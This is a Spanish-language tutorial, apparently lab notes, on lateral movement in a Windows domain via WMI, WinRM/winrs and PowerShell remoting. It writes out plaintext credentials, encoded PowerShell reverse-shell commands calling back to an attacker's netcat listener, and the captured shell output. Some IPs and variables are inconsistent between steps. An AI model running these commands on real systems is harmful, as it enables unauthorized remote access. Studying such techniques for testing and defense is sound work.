Podemos realizar movimientos laterales con WMI (Windows Management Instrumentation) creando procesos, para ello necesitamos credenciales de Administrador, un miembro de el grupo Administrators local group, o un usuario del dominio.
Con esta manera, podemos movernos lateralmente con nuestro usuario a otra maquina del dominio desde powershell
PS C:\\Users\\jeff> $username = 'primaryadmin';
PS C:\\Users\\jeff> $password = 'Password123';
PS C:\\Users\\jeff> $secureString = ConvertTo-SecureString $password -AsPlaintext -Force;
PS C:\\Users\\jeff> $credential = New-Object System.Management.Automation.PSCredential $username, $secureString;
PS C:\\Users\\jeff> $Options = New-CimSessionOption -Protocol DCOM
PS C:\\Users\\jeff> $Session = New-Cimsession -ComputerName 10.10.92.142 -Credential $credential -SessionOption $Options
Y por último, introducimos la variable $command con la reverse shell de powershell en base64, creada en revshells.com, y posteriormente ejecutamos y recibimos la shell
PS C:\\Users\\jeff> $Command = 'powershell -nop -w hidden -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQA5AD...
HUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkA';
PS C:\\Users\\jeff> Invoke-CimMethod -CimSession $Session -ClassName Win32_Process -MethodName Create -Arguments @{CommandLine =$Command};
ProcessId ReturnValue PSComputerName
--------- ----------- --------------
3948 0 192.168.50.73
kali@kali:~$ nc -lnvp 443
listening on [any] 443 ...
connect to [192.168.118.2] from (UNKNOWN) [192.168.50.73] 49855
PS C:\\windows\\system32\\driverstore\\filerepository\\ntprint.inf_amd64_075615bee6f80a8d\\amd64> hostname
FILES04
Con WinRM tambien podemos realizar este movimiento lateral con nuestro usuario, podemos realizarlo desde CMD o desde powershell.
Desde CMD con la herramienta winrs es bastante sencillo, introducimos la máquina donde queremos movernos, nuestras credenciales y el comando a ejecutar, en este caso una reverse shell de powershell encodeada en base64, ejecutamos nos ponemos en escucha y recibimos shell en otra maquina.
C:\\Users\\jeff>winrs -r:files04 -u:jen -p:Password123 "powershell -nop -w hidden -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQA5AD...
HUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkA"
kali@kali:~$ nc -lnvp 443
listening on [any] 443 ...
connect to [192.168.118.2] from (UNKNOWN) [192.168.50.73] 65107
PS C:\\Users\\jen> hostname
FILES04
PS C:\\Users\\jen> whoami
corp\\jen
Otra opción, es hacerlo desde powershell, creando variables. Y podemos gestionar las sesiones abiertas desde la misma powershell, como si fuera metasploit.
Creamos variables con nuestras credenciales.
PS C:\\Users\\jeff> $username = 'dmzadmin';
PS C:\\Users\\jeff> $password = 'SlimGodhoodMope';
PS C:\\Users\\jeff> $secureString = ConvertTo-SecureString $password -AsPlaintext -Force;
Ejecutamos el módulo indicando donde queremos movernos y se abre la sesión.
PS C:\\Users\\jeff> New-PSSession -ComputerName 10.10.19.154 -Credential $credential
Id Name ComputerName ComputerType State ConfigurationName Availability
-- ---- ------------ ------------ ----- ----------------- ------------
1 WinRM1 192.168.50.73 RemoteMachine Opened Microsoft.PowerShell Available
Ahora podemos introducir la sesión donde queremos movernos
PS C:\\Users\\jeff> Enter-PSSession 1
[192.168.50.73]: PS C:\\Users\\jen\\Documents> whoami
corp\\jen
[192.168.50.73]: PS C:\\Users\\jen\\Documents> hostname
FILES04